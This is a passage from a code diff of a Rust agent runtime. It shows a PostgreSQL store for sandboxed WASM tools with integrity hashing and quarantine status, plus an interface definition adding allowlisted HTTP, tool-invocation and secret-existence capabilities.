pool: Pool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PostgresWasmToolStore {
|
||||||
|
pub fn new(pool: Pool) -> Self {
|
||||||
|
Self { pool }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl WasmToolStore for PostgresWasmToolStore {
|
||||||
|
async fn store(&self, params: StoreToolParams) -> Result<StoredWasmTool, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let binary_hash = compute_binary_hash(¶ms.wasm_binary);
|
||||||
|
let id = Uuid::new_v4();
|
||||||
|
let now = Utc::now();
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_one(
|
||||||
|
r#"
|
||||||
|
INSERT INTO wasm_tools (
|
||||||
|
id, user_id, name, version, description, wasm_binary, binary_hash,
|
||||||
|
parameters_schema, source_url, trust_level, status, created_at, updated_at
|
||||||
|
)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, 'active', $11, $11)
|
||||||
|
ON CONFLICT (user_id, name, version) DO UPDATE SET
|
||||||
|
description = EXCLUDED.description,
|
||||||
|
wasm_binary = EXCLUDED.wasm_binary,
|
||||||
|
binary_hash = EXCLUDED.binary_hash,
|
||||||
|
parameters_schema = EXCLUDED.parameters_schema,
|
||||||
|
source_url = EXCLUDED.source_url,
|
||||||
|
updated_at = NOW()
|
||||||
|
RETURNING id, user_id, name, version, description, parameters_schema,
|
||||||
|
source_url, trust_level, status, created_at, updated_at
|
||||||
|
"#,
|
||||||
|
&[
|
||||||
|
&id,
|
||||||
|
¶ms.user_id,
|
||||||
|
¶ms.name,
|
||||||
|
¶ms.version,
|
||||||
|
¶ms.description,
|
||||||
|
¶ms.wasm_binary,
|
||||||
|
&binary_hash,
|
||||||
|
¶ms.parameters_schema,
|
||||||
|
¶ms.source_url,
|
||||||
|
¶ms.trust_level.to_string(),
|
||||||
|
&now,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
row_to_tool(&row)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get(&self, user_id: &str, name: &str) -> Result<StoredWasmTool, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_opt(
|
||||||
|
r#"
|
||||||
|
SELECT id, user_id, name, version, description, parameters_schema,
|
||||||
|
source_url, trust_level, status, created_at, updated_at
|
||||||
|
FROM wasm_tools
|
||||||
|
WHERE user_id = $1 AND name = $2 AND status = 'active'
|
||||||
|
ORDER BY version DESC
|
||||||
|
LIMIT 1
|
||||||
|
"#,
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
match row {
|
||||||
|
Some(r) => {
|
||||||
|
let tool = row_to_tool(&r)?;
|
||||||
|
match tool.status {
|
||||||
|
ToolStatus::Active => Ok(tool),
|
||||||
|
ToolStatus::Disabled => Err(WasmStorageError::Disabled),
|
||||||
|
ToolStatus::Quarantined => Err(WasmStorageError::Quarantined),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => Err(WasmStorageError::NotFound(name.to_string())),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_with_binary(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<StoredWasmToolWithBinary, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_opt(
|
||||||
|
r#"
|
||||||
|
SELECT id, user_id, name, version, description, wasm_binary, binary_hash,
|
||||||
|
parameters_schema, source_url, trust_level, status, created_at, updated_at
|
||||||
|
FROM wasm_tools
|
||||||
|
WHERE user_id = $1 AND name = $2 AND status = 'active'
|
||||||
|
ORDER BY version DESC
|
||||||
|
LIMIT 1
|
||||||
|
"#,
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
match row {
|
||||||
|
Some(r) => {
|
||||||
|
let wasm_binary: Vec<u8> = r.get("wasm_binary");
|
||||||
|
let binary_hash: Vec<u8> = r.get("binary_hash");
|
||||||
|
|
||||||
|
// Verify integrity
|
||||||
|
if !verify_binary_integrity(&wasm_binary, &binary_hash) {
|
||||||
|
tracing::error!(
|
||||||
|
user_id = user_id,
|
||||||
|
name = name,
|
||||||
|
"WASM binary integrity check failed"
|
||||||
|
);
|
||||||
|
return Err(WasmStorageError::IntegrityCheckFailed);
|
||||||
|
}
|
||||||
|
|
||||||
|
let tool = row_to_tool(&r)?;
|
||||||
|
|
||||||
|
match tool.status {
|
||||||
|
ToolStatus::Active => Ok(StoredWasmToolWithBinary {
|
||||||
|
tool,
|
||||||
|
wasm_binary,
|
||||||
|
binary_hash,
|
||||||
|
}),
|
||||||
|
ToolStatus::Disabled => Err(WasmStorageError::Disabled),
|
||||||
|
ToolStatus::Quarantined => Err(WasmStorageError::Quarantined),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => Err(WasmStorageError::NotFound(name.to_string())),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_capabilities(
|
||||||
|
&self,
|
||||||
|
tool_id: Uuid,
|
||||||
|
) -> Result<Option<StoredCapabilities>, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_opt(
|
||||||
|
r#"
|
||||||
|
SELECT id, wasm_tool_id, http_allowlist, allowed_secrets, tool_aliases,
|
||||||
|
requests_per_minute, requests_per_hour, max_request_body_bytes,
|
||||||
|
max_response_body_bytes, workspace_read_prefixes, http_timeout_secs
|
||||||
|
FROM tool_capabilities
|
||||||
|
WHERE wasm_tool_id = $1
|
||||||
|
"#,
|
||||||
|
&[&tool_id],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
match row {
|
||||||
|
Some(r) => {
|
||||||
|
let http_allowlist_json: serde_json::Value = r.get("http_allowlist");
|
||||||
|
let tool_aliases_json: serde_json::Value = r.get("tool_aliases");
|
||||||
|
|
||||||
|
let http_allowlist: Vec<EndpointPattern> =
|
||||||
|
serde_json::from_value(http_allowlist_json).unwrap_or_default();
|
||||||
|
let tool_aliases: HashMap<String, String> =
|
||||||
|
serde_json::from_value(tool_aliases_json).unwrap_or_default();
|
||||||
|
|
||||||
|
Ok(Some(StoredCapabilities {
|
||||||
|
id: r.get("id"),
|
||||||
|
wasm_tool_id: r.get("wasm_tool_id"),
|
||||||
|
http_allowlist,
|
||||||
|
allowed_secrets: r.get("allowed_secrets"),
|
||||||
|
tool_aliases,
|
||||||
|
requests_per_minute: r.get::<_, i32>("requests_per_minute") as u32,
|
||||||
|
requests_per_hour: r.get::<_, i32>("requests_per_hour") as u32,
|
||||||
|
max_request_body_bytes: r.get("max_request_body_bytes"),
|
||||||
|
max_response_body_bytes: r.get("max_response_body_bytes"),
|
||||||
|
workspace_read_prefixes: r.get("workspace_read_prefixes"),
|
||||||
|
http_timeout_secs: r.get("http_timeout_secs"),
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
None => Ok(None),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn list(&self, user_id: &str) -> Result<Vec<StoredWasmTool>, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let rows = client
|
||||||
|
.query(
|
||||||
|
r#"
|
||||||
|
SELECT DISTINCT ON (name) id, user_id, name, version, description,
|
||||||
|
parameters_schema, source_url, trust_level, status, created_at, updated_at
|
||||||
|
FROM wasm_tools
|
||||||
|
WHERE user_id = $1
|
||||||
|
ORDER BY name, version DESC
|
||||||
|
"#,
|
||||||
|
&[&user_id],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
rows.into_iter().map(|r| row_to_tool(&r)).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn update_status(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
status: ToolStatus,
|
||||||
|
) -> Result<(), WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let result = client
|
||||||
|
.execute(
|
||||||
|
"UPDATE wasm_tools SET status = $1, updated_at = NOW() WHERE user_id = $2 AND name = $3",
|
||||||
|
&[&status.to_string(), &user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
if result == 0 {
|
||||||
|
return Err(WasmStorageError::NotFound(name.to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, WasmStorageError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let result = client
|
||||||
|
.execute(
|
||||||
|
"DELETE FROM wasm_tools WHERE user_id = $1 AND name = $2",
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| WasmStorageError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(result > 0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn row_to_tool(row: &tokio_postgres::Row) -> Result<StoredWasmTool, WasmStorageError> {
|
||||||
|
let trust_level_str: String = row.get("trust_level");
|
||||||
|
let status_str: String = row.get("status");
|
||||||
|
|
||||||
|
Ok(StoredWasmTool {
|
||||||
|
id: row.get("id"),
|
||||||
|
user_id: row.get("user_id"),
|
||||||
|
name: row.get("name"),
|
||||||
|
version: row.get("version"),
|
||||||
|
description: row.get("description"),
|
||||||
|
parameters_schema: row.get("parameters_schema"),
|
||||||
|
source_url: row.get("source_url"),
|
||||||
|
trust_level: trust_level_str
|
||||||
|
.parse()
|
||||||
|
.map_err(WasmStorageError::InvalidData)?,
|
||||||
|
status: status_str
|
||||||
|
.parse()
|
||||||
|
.map_err(WasmStorageError::InvalidData)?,
|
||||||
|
created_at: row.get("created_at"),
|
||||||
|
updated_at: row.get("updated_at"),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::tools::wasm::storage::{
|
||||||
|
ToolStatus, TrustLevel, compute_binary_hash, verify_binary_integrity,
|
||||||
|
};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_compute_hash() {
|
||||||
|
let binary = b"(module)";
|
||||||
|
let hash = compute_binary_hash(binary);
|
||||||
|
assert_eq!(hash.len(), 32); // BLAKE3 produces 32-byte hash
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_verify_integrity_success() {
|
||||||
|
let binary = b"test wasm binary content";
|
||||||
|
let hash = compute_binary_hash(binary);
|
||||||
|
assert!(verify_binary_integrity(binary, &hash));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_verify_integrity_failure() {
|
||||||
|
let binary = b"test wasm binary content";
|
||||||
|
let hash = compute_binary_hash(binary);
|
||||||
|
let tampered = b"tampered wasm binary content";
|
||||||
|
assert!(!verify_binary_integrity(tampered, &hash));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_trust_level_parse() {
|
||||||
|
assert_eq!("system".parse::<TrustLevel>().unwrap(), TrustLevel::System);
|
||||||
|
assert_eq!(
|
||||||
|
"verified".parse::<TrustLevel>().unwrap(),
|
||||||
|
TrustLevel::Verified
|
||||||
|
);
|
||||||
|
assert_eq!("user".parse::<TrustLevel>().unwrap(), TrustLevel::User);
|
||||||
|
assert!("invalid".parse::<TrustLevel>().is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_status_parse() {
|
||||||
|
assert_eq!("active".parse::<ToolStatus>().unwrap(), ToolStatus::Active);
|
||||||
|
assert_eq!(
|
||||||
|
"disabled".parse::<ToolStatus>().unwrap(),
|
||||||
|
ToolStatus::Disabled
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
"quarantined".parse::<ToolStatus>().unwrap(),
|
||||||
|
ToolStatus::Quarantined
|
||||||
|
);
|
||||||
|
assert!("invalid".parse::<ToolStatus>().is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -12,8 +12,9 @@ use wasmtime::component::{Component, Linker, Val};
|
|||||||
|
|
||||||
use crate::context::JobContext;
|
use crate::context::JobContext;
|
||||||
use crate::tools::tool::{Tool, ToolError, ToolOutput};
|
use crate::tools::tool::{Tool, ToolError, ToolOutput};
|
||||||
|
use crate::tools::wasm::capabilities::Capabilities;
|
||||||
use crate::tools::wasm::error::WasmError;
|
use crate::tools::wasm::error::WasmError;
|
||||||
use crate::tools::wasm::host::{Capabilities, HostState, LogLevel};
|
use crate::tools::wasm::host::{HostState, LogLevel};
|
||||||
use crate::tools::wasm::limits::{ResourceLimits, WasmResourceLimiter};
|
use crate::tools::wasm::limits::{ResourceLimits, WasmResourceLimiter};
|
||||||
use crate::tools::wasm::runtime::{PreparedModule, WasmToolRuntime};
|
use crate::tools::wasm::runtime::{PreparedModule, WasmToolRuntime};
|
||||||
|
|
||||||
@@ -380,10 +381,11 @@ impl std::fmt::Debug for WasmToolWrapper {
|
|||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use crate::tools::wasm::host::Capabilities;
|
|
||||||
use crate::tools::wasm::runtime::{WasmRuntimeConfig, WasmToolRuntime};
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::Capabilities;
|
||||||
|
use crate::tools::wasm::runtime::{WasmRuntimeConfig, WasmToolRuntime};
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_wrapper_creation() {
|
fn test_wrapper_creation() {
|
||||||
// This test verifies the runtime can be created
|
// This test verifies the runtime can be created
|
||||||
@@ -399,5 +401,8 @@ mod tests {
|
|||||||
fn test_capabilities_default() {
|
fn test_capabilities_default() {
|
||||||
let caps = Capabilities::default();
|
let caps = Capabilities::default();
|
||||||
assert!(caps.workspace_read.is_none());
|
assert!(caps.workspace_read.is_none());
|
||||||
|
assert!(caps.http.is_none());
|
||||||
|
assert!(caps.tool_invoke.is_none());
|
||||||
|
assert!(caps.secrets.is_none());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,6 +2,12 @@
|
|||||||
//
|
//
|
||||||
// Defines the contract between sandboxed tools and the host runtime.
|
// Defines the contract between sandboxed tools and the host runtime.
|
||||||
// Tools export the `tool` interface; the host provides the `host` interface.
|
// Tools export the `tool` interface; the host provides the `host` interface.
|
||||||
|
//
|
||||||
|
// Security Model:
|
||||||
|
// - WASM tools are untrusted and run in a sandbox
|
||||||
|
// - All capabilities are opt-in (default: no access)
|
||||||
|
// - Secrets are NEVER exposed to WASM; credentials are injected at host boundary
|
||||||
|
// - All outputs are scanned for secret leakage before returning to WASM
|
||||||
|
|
||||||
package near:agent;
|
package near:agent;
|
||||||
|
|
||||||
@@ -33,6 +39,65 @@ interface host {
|
|||||||
/// Path must be relative (no leading /) and cannot contain "..".
|
/// Path must be relative (no leading /) and cannot contain "..".
|
||||||
/// Returns None if the file doesn't exist or capability not granted.
|
/// Returns None if the file doesn't exist or capability not granted.
|
||||||
workspace-read: func(path: string) -> option<string>;
|
workspace-read: func(path: string) -> option<string>;
|
||||||
|
|
||||||
|
// ==================== HTTP Capability ====================
|
||||||
|
|
||||||
|
/// Response from an HTTP request.
|
||||||
|
record http-response {
|
||||||
|
/// HTTP status code.
|
||||||
|
status: u16,
|
||||||
|
/// Response headers as JSON object string.
|
||||||
|
headers-json: string,
|
||||||
|
/// Response body bytes.
|
||||||
|
body: list<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Make an HTTP request (if capability granted).
|
||||||
|
///
|
||||||
|
/// Security:
|
||||||
|
/// - Only allowed endpoints (host/path patterns) can be accessed
|
||||||
|
/// - Credentials are injected by the host; WASM never sees them
|
||||||
|
/// - Response is scanned for leaked secrets before returning
|
||||||
|
/// - Rate-limited per tool
|
||||||
|
///
|
||||||
|
/// Returns Err with error message if:
|
||||||
|
/// - Endpoint not in allowlist
|
||||||
|
/// - Rate limit exceeded
|
||||||
|
/// - Request/response size limit exceeded
|
||||||
|
/// - Network error
|
||||||
|
/// - Timeout
|
||||||
|
/// - Secret leak detected in response
|
||||||
|
http-request: func(
|
||||||
|
method: string,
|
||||||
|
url: string,
|
||||||
|
headers-json: string,
|
||||||
|
body: option<list<u8>>
|
||||||
|
) -> result<http-response, string>;
|
||||||
|
|
||||||
|
// ==================== Tool Invocation Capability ====================
|
||||||
|
|
||||||
|
/// Invoke another tool by alias (if capability granted).
|
||||||
|
///
|
||||||
|
/// Security:
|
||||||
|
/// - WASM calls tools by alias, not real name (indirection layer)
|
||||||
|
/// - Only aliased tools can be invoked
|
||||||
|
/// - Rate-limited per tool
|
||||||
|
/// - Output is scanned for leaked secrets before returning
|
||||||
|
///
|
||||||
|
/// Returns the tool output as JSON string, or Err with error message.
|
||||||
|
tool-invoke: func(alias: string, params-json: string) -> result<string, string>;
|
||||||
|
|
||||||
|
// ==================== Secrets Capability ====================
|
||||||
|
|
||||||
|
/// Check if a secret exists (if capability granted).
|
||||||
|
///
|
||||||
|
/// Security:
|
||||||
|
/// - WASM can only check existence, NEVER read values
|
||||||
|
/// - Only allowed secret names can be checked
|
||||||
|
/// - Actual credentials are injected by host during HTTP requests
|
||||||
|
///
|
||||||
|
/// Returns true if the secret exists and is accessible to this tool.
|
||||||
|
secret-exists: func(name: string) -> bool;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Tool interface that sandboxed tools must implement.
|
/// Tool interface that sandboxed tools must implement.
|
||||||
|
|||||||
Reference in New Issue
Block a user